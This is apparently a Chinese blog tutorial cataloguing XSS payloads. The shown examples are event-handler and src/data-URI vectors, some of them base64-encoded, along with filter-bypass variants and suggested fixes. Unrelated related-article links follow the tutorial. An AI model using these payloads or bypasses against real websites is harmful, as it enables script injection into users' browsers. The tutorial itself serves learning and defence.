常见的XSS攻击代码
第一类:
<tag on*=*/>
在html标签事件中触发,典型的是on*事件,但是这种触发模式的缺陷在于不能直接触发所以更多的需要配合使用。
eg:
1.使html元素占据整个显示页面 <a onclick="alert('1')" style="postion:fixed;width:100%;heith:100%"> </a>
2.增加属性触发事件 <input onfocus="alert('1')" autofocus/>
3.自动触发事件<body onload="alert('1')"></body>
在真实环境中,' 、" 、( 、) 都是属于黑名单中的成员,如果遇到以上四个字符被过滤的情况,那么我们就需要使用其他字符去代替,或者编码的方式去绕过。
eg:
1.不使用 " <input onfocus=alert('1') autofocus/>
2.不使用 ' <input onfocus="alert(/1/)" autofocus/>
3.不使用 ( ) <input onfocus="alert`'1'`" autofocus/>
4.不使用 ' " ( ) <input onfocus=alert`1` autofocus/>
5.使用html实体编码绕过 <input onfocus="alert('1')" autofocus/>
6.使用html实体编码绕过变形 <input onfocus="alert('1')" autofocus/>
这里如何修补该漏洞呢?常见修补方式有如下
eg:
1.使用环境允许插入html标签排版的情况下,很常见的就是将html事件熟悉转义为html实体编码字符,当然也可以直接拦截返回404。常见匹配策略 /on[^=]*=/ig
2.使用环境不允许插入html标签的情况下,不难看出所有的tag前面都紧贴着一个 “ < ” ,所以只需要将 “ < ” 使用html实体编码转换即可。常见匹配策略 /</g
第二类:<tag src=*/>
该类型的触发点其实相对较少的,曾经最经典的一个莫属于IE6中的 <img src="alert('1')"/> 但是这个问题已经成为历史,在其它tag中使用src属性触发xss的列子也还是有的。
eg:
1.在iframe标签中加载一个脚本页面 <iframe src="./alert.html"></iframe>
2.在script标签中加载一个脚本 <script src="./alert.js"></script>
在src属性中可以使用可以直接请求一个外部连接,还可以用Data URI scheme直接嵌入文本
eg:
1.在iframe标签中使用Data URI scheme直接嵌入文本 <iframe src="data:text/html,<script>alert('1')</script>"></iframe>
2.在script标签中使用Data URI scheme直接嵌入文本 <script src="data:text/html,alert('1')"></script>
使用Data URI scheme直接嵌入文本,比较繁琐,但是这类的好处在于可以使用BASE64编码格式
eg:
1.在iframe标签中使用Data URI scheme直接嵌入BASE64编码后的文本 <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
2.在script标签中使用Data URI scheme直接嵌入BASE64编码后的文本 <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
在该类型的变形中还可以结合第一类的变形使用
eg:
1.使用html实体编码URI <script src="./alert.js"></script>
2.使用html实体编码Data URI scheme <script src="data:text/html,alert('1')"></script>
3.使用html实体编码BASE64编码之后的Data URI scheme <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
该类问题的修补策略和第一类类似。常见方式有如下。
eg:
1.在允许使用外部元素的时候,鄙人不才没能想出处理方案。
2.在不允许使用外部元素的时候,在src所指向的URI上加入当前网站的域名,以此限制内容为当前网站中的安全内容。
3.在不允许使用元素引入的时候,但是允许插入html标签排版的情况下,指定tag白名单或者tag黑名单。
4.不允许使用html标签的时候,将 < 转换为html实体编码。
常见的XSS攻击代码的更多相关文章
- XSS攻击常识及常见的XSS攻击脚本汇总
一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...
- 几个常见的漏洞(xss攻击 cookie未清除 nginx信息泄露)与处理方法
项目在安全检查中发现很多问题,要求整改,其中就有最常见的xss攻击 漏洞描述 渗透测试人员检测到网站筛选框均存在反射型跨站脚本攻击,例如: "><script>alert( ...
- 前端XSS攻击和防御
xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...
- 防御XSS攻击的七条原则
本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...
- web安全-XSS攻击及防御
XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...
- 如何发起、防御和测试XSS攻击,我们用DVWA来学习(上)
XSS 全称Cross Site Scripting 即‘跨站脚本攻击’. 从其中文释义我们能直观的知道,这是一种对网站的攻击方式. 其原理在于,使用一切可能手段,将可执行脚本(scripting)植 ...
- Web 安全漏洞之 XSS 攻击
什么是 XSS 攻击 XSS(Cross-Site Scripting)又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.XSS是一种经常出现在 Web 应用程序中的计算机安全漏洞,是由于 ...
- 使用 PHP 构建的 Web 应用如何避免 XSS 攻击
本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态 ...
- XSS攻击总结
本文由 http://www.cnblogs.com/phpstudy2015-6/p/6767032.html 整理总结而来 XSS又称CSS(cross site script),译为跨站脚本攻击 ...
随机推荐
- Running Spark on YARN
Running Spark on YARN 对 YARN (Hadoop NextGen) 的支持是从Spark-0.6.0开始的,后续的版本也一直持续在改进. Launching Spark on ...
- Jest 单元测试入门
今天,我们要讲的是 Jest 单元测试的入门知识. 为何要进行单元测试? 在学习 Jest 之前,我们需要回答一个问题:为何要进行单元测试?编写单元测试可以给你带来很多好处: 将测试自动化,无需每次都 ...
- css3换行的三方式的对比(整理)
CSS3 文本换行 (转载..) 作者 张歆琳 关注 2016.06.20 10:49* 字数 1101 阅读 676评论 1喜欢 6 文本换行其实是个非常常用但并不起眼的特性.你什么都不用设,浏览器 ...
- jQuery中的常用内容总结(三)
jQuery中的常用内容总结(三) 转载请注明地址:http://www.cnblogs.com/funnyzpc/p/7571998.html 内容提要 选择器(第一节) 选择器的扩展方法(第一节) ...
- TargetType Mismatch
TargetType Mismatch 环境:windowsphone 8,silerlight toolkit, 页面报TargeType Mismatch错误或者 length 0,是因为Syst ...
- MyBatis 配置的一些小知识点
MyBatis别名配置——typeAliases 类型别名是为 Java 类型设置一个短的名字.它只和 XML 配置有关,存在的意义仅在于用来减少类完全限定名的冗余.说白了就是预先设置包名 api是这 ...
- 一步一个坑 - WinDbg调试.NET程序
引言 第一次用WinDbg来排查问题,花了很多时间踩坑,记录一下希望对后面的同学有些帮助. 客户现场软件出现偶发性的界面卡死现象一直找不出原因,就想着让客户用任务管理器生成了一个dump文件发给我,我 ...
- MVC使用jQuery从视图向控制器传递Model,数据验证,MVC HTML辅助方法小结
//MVC HTML辅助类常用方法记录 (1)@Html.DisplayNameFor(model => model.Title)是显示列名, (2)@Html.DisplayFor(model ...
- CSS盒子模型之详解
前言: 盒子模型是css中最核心的基础知识,理解了这个重要的概念才能更好的排版,进行页面布局.一.css盒子模型概念 CSS盒子模型 又称框模型 (Box Model) ,包含了元 ...
- KindEditor文件上传成功前端显示上传失败
一.使用kindeditor 上传图片 ,根据kindeditor 要求返回了相应的数据, 但是kindeditor 插件显示上传失败!!! 解决方法: 各个版本位置可能不同!!! 1.修改kinde ...